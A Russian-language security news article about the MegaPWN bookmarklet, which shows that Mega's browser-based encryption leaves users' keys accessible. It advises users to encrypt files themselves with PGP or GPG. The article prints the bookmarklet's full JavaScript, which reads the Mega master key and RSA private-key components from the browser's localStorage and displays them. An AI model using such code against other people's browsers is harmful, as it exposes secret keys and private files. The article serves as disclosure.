Специалист по безопасности Михаэль Козярски (Michael Koziarski) опубликовал браузерный букмарклет MegaPWN, который успешно извлекает секретный мастер-ключ Mega из оперативной памяти компьютера.

Собственно, это не столько баг, сколько фича специфической «браузерной криптографии» Mega, когда все операции по шифрованию/расшифровке файлов осуществляются в браузере, с помощью приложения на Javascript. Сами представители компании признали этот факт и говорят: «Технически, мы можем передать вам JavaScript-код с бэкдором, который извлечет ваш секретный ключ и отправит его обратно нам».
Михаэль Козярски наглядно демонстрирует, что любой злоумышленник, получивший доступ к компьютеру пользователя, может узнать его секретный ключ. Этот ключ напрямую доступен компании Mega, которая тоже может легко получить доступ к «зашифрованным» файлам пользователя на своих серверах и проверить их содержимое.
Возможность доступа к файлам пользователю означает, что компания Mega будет обязана предоставить такой доступ, если получит соответствующее судебное постановление в отношении одного или многих пользователей. В общем, пресловутый «криптохостинг» оказался не слишком-то и «крипто-».
Для пользователей Mega, таким образом, действуют такие же рекомендации, как и для пользователей обычных файлохостингов: нужно самостоятельно шифровать файлы перед передачей в облако с помощью стойкой криптографии, используя PGP или GPG.
Исходный код букмарклета MegaPWN
function megaPWN() {
var format = function(a) {
var padded = "";
var hex = s2hex(b2s(a));
for (var i = 0; i < hex.length; i+= 8) {
padded += hex.substr(i, 8);
padded += ' ';
}
return padded;
};
var masterAESKey = JSON.parse(window.localStorage.k);
var rsaPrivateKeyComponents = JSON.parse(window.localStorage.privk);
var rsaD = rsaPrivateKeyComponents[2];
var rsaP = rsaPrivateKeyComponents[0];
var rsaQ = rsaPrivateKeyComponents[1];
var rsaU = rsaPrivateKeyComponents[3];
var lesson = "Your MEGA master key is: " + format(masterAESKey);
lesson += "
";
lesson += "Your RSA private key exponent starts with: d=" + format(rsaD).substr(0, 107);
lesson += "
";
lesson += "MEGA and anyone else with access to your computer can see this, and use it to decrypt any file you upload.";
Ext.Msg.show({
title: "megaPWN",
msg: lesson
});
}
megaPWN();
